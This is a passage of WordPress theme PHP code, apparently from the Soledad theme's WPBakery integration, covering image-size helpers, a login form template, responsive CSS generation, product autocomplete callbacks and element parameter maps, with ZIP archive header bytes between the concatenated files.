				} elseif ( $size == 'thumbnail' ) {
					if ( ( $thumb_file = wp_get_attachment_thumb_file( $id ) ) && $info = getimagesize( $thumb_file ) ) {
						$img_url_pre = str_replace( $img_url_basename, wp_basename( $thumb_file ), $img_url );
						$width       = $info[0];
						$height      = $info[1];
					}
				} else {
					$img_url_pre = $img_url;
				}

				$list_url[ $size ] = array(
					'img_url' => $img_url_pre,
					'height'  => $height,
					'width'   => $width,
				);
			}

			return $list_url;
		}

		/**
		 * Get media control image alt.
		 * Retrieve the `alt` value of the image selected by the media control.
		 *
		 * @return string Image alt.
		 */
		public static function get_image_alt( $instance ) {
			if ( empty( $instance['id'] ) ) {
				return '';
			}

			$attachment_id = $instance['id'];
			if ( ! $attachment_id ) {
				return '';
			}

			$attachment = get_post( $attachment_id );
			if ( ! $attachment ) {
				return '';
			}

			$alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true );
			if ( ! $alt ) {
				$alt = $attachment->post_excerpt;
				if ( ! $alt ) {
					$alt = $attachment->post_title;
				}
			}

			return trim( strip_tags( $alt ) );
		}

		public static function _login_form() {
			?>
            <form class="penci-loginform" name="penci-loginform" id="penci-loginform"
                  action="<?php echo esc_url( site_url( 'wp-login.php' ) ); ?>" method="post" novalidate="novalidate">
                <input type="hidden" name="_wpnonce" class="penci_form_nonce"
                       value="<?php echo wp_create_nonce( 'login' ); ?>">
                <p class="login-username">
                    <input type="text" name="log" id="penci-user-login" class="input penci-input"
                           placeholder="<?php echo penci_get_setting( 'penci_trans_usernameemail_text' ); ?>" size="20">
                </p>
                <p class="login-password">
                    <input type="password" name="pwd" id="penci-user-pass" class="input penci-input"
                           placeholder="<?php echo penci_get_setting( 'penci_trans_pass_text' ); ?>" size="20">
                </p>
				<?php do_action( 'login_form' ); ?>
				<?php penci_add_captcha_login_form(); ?>
                <p class="login-remember">
                    <input name="rememberme" type="checkbox" id="rememberme"
                           value="forever"> <?php echo penci_get_setting( 'penci_plogin_label_remember' ); ?>
                </p>
                <p class="login-submit">
                    <input type="submit" name="wp-submit" class="pcpop-button"
                           value="<?php echo penci_get_setting( 'penci_plogin_label_log_in' ); ?>">
                </p>
            </form>
            <div class="penci-loginform-extra">
                <a class="penci-lostpassword"
                   href="<?php echo esc_url( wp_lostpassword_url() ); ?>"><?php echo penci_get_setting( 'penci_plogin_label_lostpassword' ); ?></a>
				<?php if ( get_option( 'users_can_register' ) ) : ?>
                    <a class="penci-user-register"
                       href="<?php echo esc_url( wp_registration_url() ); ?>"><?php echo penci_get_setting( 'penci_plogin_label_registration' ); ?></a>
				<?php endif; ?>
            </div>
			<?php
		}

		/**
		 * Get image sizes.
		 *
		 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
		 */
		/**
		 * Get image sizes.
		 *
		 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
		 */
		public static function get_list_image_sizes( $default = false ) {
			$wp_image_sizes = self::get_all_image_sizes();

			$image_sizes = array();

			if ( $default ) {
				$image_sizes[ esc_html__( 'Default', 'soledad' ) ] = '';
			}

			foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
				$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
				if ( is_array( $size_attributes ) ) {
					$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
				}

				$image_sizes[ $control_title ] = $size_key;
			}

			$image_sizes[ _x( 'Full', 'Image Size Control', 'soledad' ) ] = 'full';

			return $image_sizes;
		}

		public static function get_all_image_sizes() {
			global $_wp_additional_image_sizes;

			$default_image_sizes = array( 'thumbnail', 'medium', 'medium_large', 'large' );

			$image_sizes = array();

			foreach ( $default_image_sizes as $size ) {
				$image_sizes[ $size ] = array(
					'width'  => (int) get_option( $size . '_size_w' ),
					'height' => (int) get_option( $size . '_size_h' ),
					'crop'   => (bool) get_option( $size . '_crop' ),
				);
			}

			if ( $_wp_additional_image_sizes ) {
				$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
			}

			return $image_sizes;
		}
	}
endif;

if ( ! function_exists( 'penci_get_link_attributes' ) ) {
	function penci_get_link_attributes( $link, $popup = false ) {
		// parse link
		$use_link = false;
		if ( isset( $link['url'] ) && strlen( $link['url'] ) > 0 ) {
			$use_link = true;
			$a_href   = apply_filters( 'penci_extra_menu_url', $link['url'] );
			if ( $popup ) {
				$a_href = $link['url'];
			}
			$a_title  = $link['title'];
			$a_target = $link['target'];
		}

		$attributes = array();

		if ( $use_link ) {
			$attributes[] = 'href="' . trim( $a_href ) . '"';
			$attributes[] = 'title="' . esc_attr( trim( $a_title ) ) . '"';
			if ( ! empty( $a_target ) ) {
				$attributes[] = 'target="' . esc_attr( trim( $a_target ) ) . '"';
			}
		}

		$attributes = implode( ' ', $attributes );

		return $attributes;
	}
}

if ( ! function_exists( 'penci_is_css_encode' ) ) {
	function penci_is_css_encode( $data ) {
		return strlen( $data ) > 50;
	}
}

if ( ! function_exists( 'penci_get_menu_label_tag' ) ) {
	function penci_get_menu_label_tag( $label, $label_text ) {
		if ( empty( $label_text ) ) {
			return '';
		}
		$label_out = '<span class="menu-label menu-label-' . $label . '">' . esc_attr( $label_text ) . '</span>';

		return $label_out;
	}
}


if ( ! function_exists( 'penci_get_menu_label_class' ) ) {
	function penci_get_menu_label_class( $label ) {
		$class = '';
		$class .= ' item-with-label';
		$class .= ' item-label-' . $label;

		return $class;
	}
}

// **********************************************************************//
// Get explode size
// **********************************************************************//
if ( ! function_exists( 'penci_get_explode_size' ) ) {
	function penci_get_explode_size( $img_size, $default_size ) {
		$sizes = explode( 'x', $img_size );
		if ( count( $sizes ) < 2 ) {
			$sizes[0] = $sizes[1] = $default_size;
		}

		return $sizes;
	}
}

if ( ! function_exists( 'penci_display_icon' ) ) {
	function penci_display_icon( $img_id, $img_size, $default_size ) {
		$icon     = wpb_getImageBySize( array(
			'attach_id'  => $img_id,
			'thumb_size' => $img_size,
		) );
		$icon_src = $icon['p_img_large'][0];
		$icon_id  = rand( 999, 9999 );

		$sizes = penci_get_explode_size( $img_size, $default_size );

		if ( substr( $icon_src, - 3, 3 ) == 'svg' ) {
			return '<div class="img-wrapper"><span class="svg-icon" style="width: ' . $sizes[0] . 'px;height: ' . $sizes[1] . 'px;">' . penci_get_any_svg( $icon_src, $icon_id ) . '</span></div>';
		} else {
			return '<div class="img-wrapper">' . $icon['thumbnail'] . '</div>';
		}
	}
}

if ( ! function_exists( 'penci_get_vc_responsive_spacing_map' ) ) {
	/**
	 * Get responsive spacing option map.
	 *
	 * @return array map.
	 */
	function penci_get_vc_responsive_spacing_map() {
		return array(
			'type'       => 'penci_responsive_spacing',
			'param_name' => 'responsive_spacing',
			'group'      => esc_html__( 'Design Options', 'js_composer' ),
		);
	}
}

if ( ! function_exists( 'penci_extract_spacing_style' ) ) {
	function penci_extract_spacing_style( $selector, $value ) {
		$out      = '';
		$data_css = json_decode( base64_decode( $value ), true );
		if ( isset( $data_css['data'] ) && is_array( $data_css['data'] ) ) {
			foreach ( $data_css['data'] as $devices => $d_value ) {
				if ( 'tablet' == $devices ) {
					$out .= '@media only screen and (min-width:768px) and (max-width:1169px){';
				}
				if ( 'mobile' == $devices ) {
					$out .= '@media only screen and (max-width:767px){';
				}
				foreach ( $d_value as $prop => $pvalue ) {
					$out .= $selector . '{' . $prop . ':' . $pvalue . 'px;}';
				}
				$out .= '}';
			}
		}

		return $out;
	}
}

if ( ! function_exists( 'penci_extract_responsive_fsize' ) ) {
	function penci_extract_responsive_fsize( $selector, $props, $value ) {
		$out = '';

		if ( strlen( $value ) > 5 ) {

			$data_css = json_decode( base64_decode( $value ), true );
			if ( isset( $data_css['data'] ) && is_array( $data_css['data'] ) ) {
				foreach ( $data_css['data'] as $devices => $d_value ) {
					if ( 'tablet' == $devices ) {
						$out .= '@media only screen and (min-width:768px) and (max-width:1169px){';
					}
					if ( 'mobile' == $devices ) {
						$out .= '@media only screen and (max-width:767px){';
					}

					if ( is_array( $props ) ) {
						foreach ( $props as $prop ) {
							$out .= $selector . '{' . $prop . ':' . $d_value . '}';
						}
					} else {
						$out .= $selector . '{' . $props . ':' . $d_value . '}';
					}


					$out .= '}';
				}
			}
		} else {
			$out .= $selector . '{' . $props . ':' . $value . '}';
		}

		return $out;
	}
}

if ( ! function_exists( 'penci_extract_md_responsive_fsize' ) ) {
	function penci_extract_md_responsive_fsize( $props, $value ) {
		$out = '';

		if ( strlen( $value ) > 5 ) {

			$data_css = json_decode( base64_decode( $value ), true );

			if ( isset( $data_css['data'] ) && is_array( $data_css['data'] ) ) {

				foreach ( $data_css['data'] as $devices => $d_value ) {
					if ( 'tablet' == $devices ) {
						$out .= '@media only screen and (min-width:768px) and (max-width:1169px){';
					}
					if ( 'mobile' == $devices ) {
						$out .= '@media only screen and (max-width:767px){';
					}

					if ( is_array( $props ) ) {
						foreach ( $props as $prop ) {
							$out .= str_replace( '{{VALUE}}', $d_value, $prop );
						}
					} else {
						$out .= str_replace( '{{VALUE}}', $d_value, $props );
					}

					if ( 'tablet' == $devices || 'mobile' == $devices ) {
						$out .= '}';
					}
				}
			}
		} else {
			$out .= str_replace( '{{VALUE}}', $value, $props );
		}

		return str_replace( 'pxpx', 'px', $out );
	}
}

if ( ! function_exists( 'penci_wpbakery_el_extract_css' ) ) {
	function penci_wpbakery_el_extract_css( $properties, $settings, $wrapper_id, $extra_css = '' ) {
		$out = '';
		foreach ( $properties as $id => $selectors ) {
			if ( isset( $settings[ $id ] ) && $settings[ $id ] ) {
				foreach ( $selectors as $selector => $value ) {
					$value    = str_replace( '{{VALUE}}', $settings[ $id ], $value );
					$selector = str_replace( '{{WRAPPER}}', $wrapper_id, $selector );
					$out      .= $selector . '{' . $value . '}';
				}
			}
		}
		if ( $settings['responsive_spacing'] ) {
			$out .= penci_extract_spacing_style( $wrapper_id, $settings['responsive_spacing'] );
		}
		if ( $extra_css ) {
			$out .= $extra_css;
		}
		if ( $out ) {
			echo '<style>' . $out . '</style>';
		}
	}
}
if ( ! function_exists( 'penci_wpbakery_taxonomies_list' ) ) {
	function penci_wpbakery_taxonomies_list() {
		$return = [];
		$datas  = get_object_taxonomies( 'post', 'object' );
		if ( ! empty( $datas ) ) {
			foreach ( $datas as $data ) {
				$return[] = [
					'value' => $data->name,
					'label' => $data->label,
				];
			}
		}

		return $return;
	}
}
if ( ! function_exists( 'penci_wpbakery_taxonomies_list_arr' ) ) {
	function penci_wpbakery_taxonomies_list_arr() {
		$return = [];
		$datas  = get_object_taxonomies( 'post', 'object' );
		if ( ! empty( $datas ) ) {
			foreach ( $datas as $data ) {
				$return[$data->label] = $data->name;
			}
		}

		return $return;
	}
}
if ( ! function_exists( 'penci_wpbakery_taxonomies_posts_arr' ) ) {
	function penci_wpbakery_taxonomies_posts_arr() {
		$return = [];
		$datas  = get_object_taxonomies( 'post' );
		if ( ! empty( $datas ) ) {
			$args = array(
				'taxonomy'   => $datas,
				'hide_empty' => false,
			);
	
			$terms = get_terms( $args );
	
			if ( is_array( $terms ) && $terms ) {
				foreach ( $terms as $term ) {
					if ( is_object( $term ) ) {
						$return[] = array(
							'value'   => $term->term_id,
							'label' => $term->name . ' (' . $term->taxonomy . ')',
						);
					}
				}
			}
		}

		return $return;
	}
}
PK     N\ JzC-  C-  %  inc/js_composer/inc/product_param.phpnu [        <?php
/**
 * ------------------------------------------------------------------------------------------------
 * AJAX Products tabs element map
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_get_products_shortcode_params' ) ) {
	function penci_get_products_shortcode_params() {
		return array(
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Date Source', 'soledad' ),
				'value'            => array(
					esc_html__( 'All Products', 'soledad' )            => 'product',
					esc_html__( 'Featured Products', 'soledad' )       => 'featured',
					esc_html__( 'Sale Products', 'soledad' )           => 'sale',
					esc_html__( 'Products with NEW label', 'soledad' ) => 'new',
					esc_html__( 'Bestsellers', 'soledad' )             => 'bestselling',
					esc_html__( 'List of IDs', 'soledad' )             => 'ids',
					esc_html__( 'Top Rated Products', 'soledad' )      => 'top_rated_products',
				),
				'std'              => 'product',
				'param_name'       => 'post_type',
				'edit_field_class' => 'vc_col-sm-12',
			),
			array(
				'type'             => 'autocomplete',
				'heading'          => __( 'Included Only', 'soledad' ),
				'value'            => '',
				'param_name'       => 'include',
				'edit_field_class' => 'vc_col-sm-4',
				'hint'             => esc_html__( 'Add products by title.', 'soledad' ),
				'settings'         => array(
					'multiple' => true,
					'sortable' => true,
					'groups'   => true
				),
			),
			array(
				'type'             => 'autocomplete',
				'heading'          => __( 'Excluded', 'soledad' ),
				'value'            => '',
				'param_name'       => 'exclude',
				'edit_field_class' => 'vc_col-sm-4',
			),
			array(
				'type'             => 'autocomplete',
				'heading'          => __( 'Categories OR Tags', 'soledad' ),
				'value'            => '',
				'param_name'       => 'taxonomies',
				'edit_field_class' => 'vc_col-sm-4',
				'settings'         => array(
					'multiple'       => true,
					// is multiple values allowed? default false
					// 'sortable' => true, // is values are sortable? default false
					'min_length'     => 1,
					// min length to start search -> default 2
					// 'no_hide' => true, // In UI after select doesn't hide an select list, default false
					'groups'         => true,
					// In UI show results grouped by groups, default false
					'unique_values'  => true,
					// In UI show results except selected. NB! You should manually check values in backend, default false
					'display_inline' => true,
					// In UI show results inline view, default false (each value in own line)
					'delay'          => 500,
					// delay for search. default 500
					'auto_focus'     => true,
					// auto focus input, default true
				),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Order by', 'soledad' ),
				'value'            => array(
					''                                            => '',
					esc_html__( 'Date', 'soledad' )               => 'date',
					esc_html__( 'ID', 'soledad' )                 => 'id',
					esc_html__( 'Author', 'soledad' )             => 'author',
					esc_html__( 'Title', 'soledad' )              => 'title',
					esc_html__( 'Last modified date', 'soledad' ) => 'modified',
					esc_html__( 'Number of comments', 'soledad' ) => 'comment_count',
					esc_html__( 'Menu order', 'soledad' )         => 'menu_order',
					esc_html__( 'Meta value', 'soledad' )         => 'meta_value',
					esc_html__( 'Meta value number', 'soledad' )  => 'meta_value_num',
					esc_html__( 'Random order', 'soledad' )       => 'rand',
					esc_html__( 'Price', 'soledad' )              => 'price',
				),
				'std'              => '',
				'edit_field_class' => 'vc_col-sm-6',
				'param_name'       => 'orderby',
			),
			array(
				'type'             => 'textfield',
				'heading'          => __( 'Offset', 'soledad' ),
				'value'            => '',
				'param_name'       => 'offset',
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Query Type', 'soledad' ),
				'value'            => array(
					esc_html__( 'OR', 'soledad' )  => 'or',
					esc_html__( 'AND', 'soledad' ) => 'and',
				),
				'std'              => 'or',
				'param_name'       => 'query_type',
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Sort order', 'soledad' ),
				'value'            => array(
					esc_html__( 'Inherit', 'soledad' )    => '',
					esc_html__( 'Descending', 'soledad' ) => 'DESC',
					esc_html__( 'Ascending', 'soledad' )  => 'ASC',
				),
				'std'              => 'DESC',
				'param_name'       => 'order',
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Meta Key', 'soledad' ),
				'description' => esc_html__( 'Input meta key for grid ordering.', 'soledad' ),
				'value'       => '',
				'std'         => '',
				'param_name'  => 'meta_key',
			),
		);
	}
}

// Necessary hooks for blog autocomplete fields
add_filter( 'vc_autocomplete_penci_product_include_callback', 'penci_productIdAutocompleteSuggester_new', 10, 1 ); // Get suggestion(find). Must return an array
add_filter( 'vc_autocomplete_penci_product_include_render', 'penci_productIdAutocompleteRender', 10, 1 ); // Render exact product. Must return an array (label,value)

add_filter( 'vc_autocomplete_penci_product_tab_include_callback', 'penci_productIdAutocompleteSuggester_new', 10, 1 ); // Render exact product. Must return an array (label,value)
add_filter( 'vc_autocomplete_penci_product_tab_include_render', 'penci_productIdAutocompleteRender', 10, 1 ); // Render exact product. Must return an array (label,value)

// Narrow data taxonomies
add_filter( 'vc_autocomplete_penci_product_taxonomies_callback', 'penci_vc_autocomplete_taxonomies_field_search', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_tab_taxonomies_callback', 'penci_vc_autocomplete_taxonomies_field_search', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_taxonomies_render', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_tab_taxonomies_render', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );

// Narrow data taxonomies for exclude_filter
add_filter( 'vc_autocomplete_penci_product_exclude_filter_callback', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_tab_exclude_filter_callback', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_exclude_filter_render', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_tab_exclude_filter_render', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );

add_filter( 'vc_autocomplete_penci_product_exclude_callback', 'vc_exclude_field_search', 10, 1 ); // Get suggestion(find). Must return an array
add_filter( 'vc_autocomplete_penci_product_tab_exclude_callback', 'vc_exclude_field_search', 10, 1 ); // Get suggestion(find). Must return an array
add_filter( 'vc_autocomplete_penci_product_exclude_render', 'vc_exclude_field_render', 10, 1 ); // Render exact product. Must return an array (label,value)
add_filter( 'vc_autocomplete_penci_product_tab_exclude_render', 'vc_exclude_field_render', 10, 1 ); // Render exact product. Must return an array (label,value)

if ( ! function_exists( 'penci_vc_autocomplete_taxonomies_field_render' ) ) {
	function penci_vc_autocomplete_taxonomies_field_render( $term ) {
		$vc_taxonomies_types = vc_taxonomies_types();

		$brands_attribute = get_theme_mod( 'penci_woocommerce_brand_attr' );

		if ( ! empty( $brands_attribute ) && taxonomy_exists( $brands_attribute ) ) {
			$vc_taxonomies_types[ $brands_attribute ] = $brands_attribute;
		}

		$terms = get_terms( array_keys( $vc_taxonomies_types ), array(
			'include'    => array( $term['value'] ),
			'hide_empty' => false,
		) );
		$data  = false;
		if ( is_array( $terms ) && 1 === count( $terms ) ) {
			$term = $terms[0];
			$data = vc_get_term_object( $term );
		}

		return $data;
	}
}

if ( ! function_exists( 'penci_productIdAutocompleteSuggester_new' ) ) {
	function penci_productIdAutocompleteSuggester_new( $query ) {
		global $wpdb;
		$product_id      = (int) $query;
		$post_meta_infos = $wpdb->get_results( $wpdb->prepare( "SELECT a.ID AS id, a.post_title AS title
							FROM {$wpdb->posts} AS a
							LEFT JOIN ( SELECT product_id, sku FROM {$wpdb->wc_product_meta_lookup} ) AS b ON b.product_id = a.ID
							WHERE a.post_type = 'product' AND ( a.ID = '%d' OR b.sku LIKE '%%%s%%' OR a.post_title LIKE '%%%s%%' )", $product_id > 0 ? $product_id : - 1, stripslashes( $query ), stripslashes( $query ) ), ARRAY_A );

		$results = array();
		if ( is_array( $post_meta_infos ) && ! empty( $post_meta_infos ) ) {
			foreach ( $post_meta_infos as $value ) {
				$data          = array();
				$data['value'] = $value['id'];
				$data['label'] = esc_html__( 'Id', 'soledad' ) . ': ' . $value['id'] . ( ( strlen( $value['title'] ) > 0 ) ? ' - ' . esc_html__( 'Title', 'soledad' ) . ': ' . $value['title'] : '' ) . ( ( strlen( $value['sku'] ) > 0 ) ? ' - ' . esc_html__( 'Sku', 'soledad' ) . ': ' . $value['sku'] : '' );
				$results[]     = $data;
			}
		}

		return $results;
	}
}

if ( ! function_exists( 'penci_productIdAutocompleteRender' ) ) {
	function penci_productIdAutocompleteRender( $query ) {
		$query = trim( $query['value'] ); // get value from requested
		if ( ! empty( $query ) ) {
			// get product
			$product_object = wc_get_product( (int) $query );
			if ( is_object( $product_object ) ) {
				$product_sku   = $product_object->get_sku();
				$product_title = $product_object->get_title();
				$product_id    = $product_object->get_id();

				$product_sku_display = '';
				if ( ! empty( $product_sku ) ) {
					$product_sku_display = ' - ' . esc_html__( 'Sku', 'soledad' ) . ': ' . $product_sku;
				}

				$product_title_display = '';
				if ( ! empty( $product_title ) ) {
					$product_title_display = ' - ' . esc_html__( 'Title', 'soledad' ) . ': ' . $product_title;
				}

				$product_id_display = esc_html__( 'Id', 'soledad' ) . ': ' . $product_id;

				$data          = array();
				$data['value'] = $product_id;
				$data['label'] = $product_id_display . $product_title_display . $product_sku_display;

				return ! empty( $data ) ? $data : false;
			}

			return false;
		}

		return false;
	}
}

// Add other product attributes
if ( ! function_exists( 'penci_vc_autocomplete_taxonomies_field_search' ) ) {
	function penci_vc_autocomplete_taxonomies_field_search( $search_string ) {
		$data                = array();
		$vc_filter_by        = vc_post_param( 'vc_filter_by', '' );
		$vc_taxonomies_types = strlen( $vc_filter_by ) > 0 ? array( $vc_filter_by ) : array_keys( vc_taxonomies_types() );

		$brands_attribute = get_theme_mod( 'penci_woocommerce_brand_attr' );

		if ( ! empty( $brands_attribute ) && taxonomy_exists( $brands_attribute ) ) {
			array_push( $vc_taxonomies_types, $brands_attribute );
		}

		$vc_taxonomies = get_terms( $vc_taxonomies_types, array(
			'hide_empty' => false,
			'search'     => $search_string,
		) );
		if ( is_array( $vc_taxonomies ) && ! empty( $vc_taxonomies ) ) {
			foreach ( $vc_taxonomies as $t ) {
				if ( is_object( $t ) ) {
					$data[] = vc_get_term_object( $t );
				}
			}
		}

		return $data;
	}
}
PK     N\     %  inc/js_composer/inc/global-blocks.phpnu [        <?php
if ( ! class_exists( 'Penci_Global_Data_Blocks' ) ):
	class Penci_Global_Data_Blocks {
		private static $container_layout = '11';

		public static function set_data_row( $new_data ) {
			self::$container_layout = $new_data;
		}

		public static function reset_data_row() {
			self::$container_layout = '';
		}

		public static function get_data_row() {
			return self::$container_layout;
		}
	}
endif;PK     N\V. .   inc/js_composer/soledad_vc.phpnu [        <?php
/**
 * Add on for Visual Composer
 * If VC installed, this file will load
 * This add-on only use for Soledad theme
 *
 * @since 2.6
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'Soledad_VC_Admin' ) && function_exists( 'vc_map' ) ) {
	class Soledad_VC_Admin {

		function __construct() {
			// We safely integrate with VC with this hook
			add_action( 'vc_before_init', array( $this, 'integrate' ) );
		}

		/**
		 * Integrate elements (shortcodes) into VC interface
		 */
		public function integrate() {
			// Check if Visual Composer is installed
			if ( ! defined( 'WPB_VC_VERSION' ) ) {
				// Display notice that Visual Compser is required
				add_action( 'admin_notices', array( __CLASS__, 'notice' ) );

				return;
			}

			$group_color = 'Typo & Color';

			/*
			 * Register custom shortcodes within Visual Composer interface
			 *
			 * @see http://kb.wpbakery.com/index.php?title=Vc_map
			 */
			// Latest Posts
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Latest Posts', 'soledad' ),
				'description' => 'Display your latest posts',
				'base'        => 'latest_posts',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array_merge( array(
					array(
						'type'             => 'textfield',
						'param_name'       => 'ltest_heading',
						'heading'          => esc_html__( 'General', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'loop',
						'heading'     => '',
						'param_name'  => 'build_query',
						'value'       => 'post_type:post|size:10',
						'settings'    => array(
							'size'      => array( 'value' => 10, 'hidden' => false ),
							'post_type' => array( 'value' => 'post', 'hidden' => false )
						),
						'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
					),
					array(
						'type'        => 'dropdown',
						'heading'     => __( 'Latest Posts Layout', 'soledad' ),
						'value'       => array(
							'Standard Posts'                   => 'standard',
							'Classic Posts'                    => 'classic',
							'Overlay Posts'                    => 'overlay',
							'Featured Boxed'                   => 'featured',
							'Grid Posts'                       => 'grid',
							'Grid 2 Columns Posts'             => 'grid-2',
							'Grid Boxed'                       => 'grid-boxed',
							'Grid Boxed 2'                     => 'grid-boxed-2',
							'Grid Boxed 3'                     => 'grid-boxed-3',
							'Grid Boxed 4'                     => 'grid-boxed-4',
							'Grid Masonry Posts'               => 'masonry',
							'Grid Masonry 2 Columns Posts'     => 'masonry-2',
							'List Posts'                       => 'list',
							'List Boxed'                       => 'list-boxed',
							'List Boxed 2'                     => 'list-boxed-2',
							'Timeline'                     	   => 'timeline',
							'Small List Posts'                 => 'small-list',
							'Boxed Posts Style 1'              => 'boxed-1',
							'Boxed Posts Style 2'              => 'boxed-2',
							'Mixed Posts'                      => 'mixed',
							'Mixed Posts Style 2'              => 'mixed-2',
							'Mixed Posts Larger'               => 'mixed-larger',
							'Mixed Posts Style 3'              => 'mixed-3',
							'Mixed Posts Style 4'              => 'mixed-4',
							'Photography Posts'                => 'photography',
							'1st Standard Then Grid'           => 'standard-grid',
							'1st Standard Then Grid 2 Columns' => 'standard-grid-2',
							'1st Standard Then List'           => 'standard-list',
							'1st Standard Then Boxed'          => 'standard-boxed-1',
							'1st Classic Then Grid'            => 'classic-grid',
							'1st Classic Then Grid 2 Columns'  => 'classic-grid-2',
							'1st Classic Then List'            => 'classic-list',
							'1st Classic Then Boxed'           => 'classic-boxed-1',
							'1st Overlay Then Grid'            => 'overlay-grid',
							'1st Overlay Then Grid 2 Columns'  => 'overlay-grid-2',
							'1st Overlay Then List'            => 'overlay-list',
							'1st Overlay Then Boxed'           => 'overlay-boxed-1'
						),
						'param_name'  => 'style',
						'description' => 'Select Latest Posts Style',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Mixed Post Style', 'soledad' ),
						'default'    => 's1',
						'value'      => array(
							'Style 1' => 's1',
							'Style 2' => 's2',
						),
						'param_name' => 'penci_mixed_style',
						'dependency' => array( 'element' => 'style', 'value' => array( 'mixed', 'mixed-2' ) ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Post Header Alignment', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'Left'    => 'left',
							'Center'  => 'center',
							'Right'   => 'right',
						),
						'param_name' => 'post_alignment'
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'penci_items_martop',
						'heading'          => __( 'Rows Gap Between Post Items', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'penci_number',
						'param_name'       => 'penci_bitems_martop',
						'heading'          => __( 'Rows Gap Between Big Items', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array(
								'mixed',
								'mixed-2',
								'mixed-4',
								'standard-grid',
								'standard-list',
								'standard-grid-2',
								'standard-boxed',
								'classic-grid',
								'classic-list',
								'classic-grid-2',
								'classic-boxed',
								'overlay-grid',
								'overlay-list',
								'overlay-grid-2',
								'overlay-boxed'
							)
						),
					),

					array(
						'type'             => 'penci_number',
						'param_name'       => 'penci_sitems_martop',
						'heading'          => __( 'Rows Gap Between Small List Posts Items', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array( 'mixed-3', 'mixed-4' )
						),
					),

					// Standard & Classic Layouts Options
					array(
						'type'             => 'textfield',
						'param_name'       => 'section_standard_classic_layout',
						'heading'          => esc_html__( 'Standard & Classic Layouts Options', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Enable Post Meta Overlay Featured Image', 'soledad' ),
						'description' => __( 'This option just apply for Standard Layout Only', 'soledad' ),
						'param_name'  => 'standard_meta_overlay',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Thumbnail', 'soledad' ),
						'param_name'       => 'standard_thumbnail',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Disable Autoplay for Slider on Posts Format Gallery', 'soledad' ),
						'param_name'       => 'std_dis_at_gallery',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Make Featured Image Auto Crop', 'soledad' ),
						'param_name'       => 'standard_thumb_crop',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Category', 'soledad' ),
						'param_name'       => 'standard_cat',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Author', 'soledad' ),
						'param_name'       => 'standard_author',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Date', 'soledad' ),
						'param_name'       => 'standard_date',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
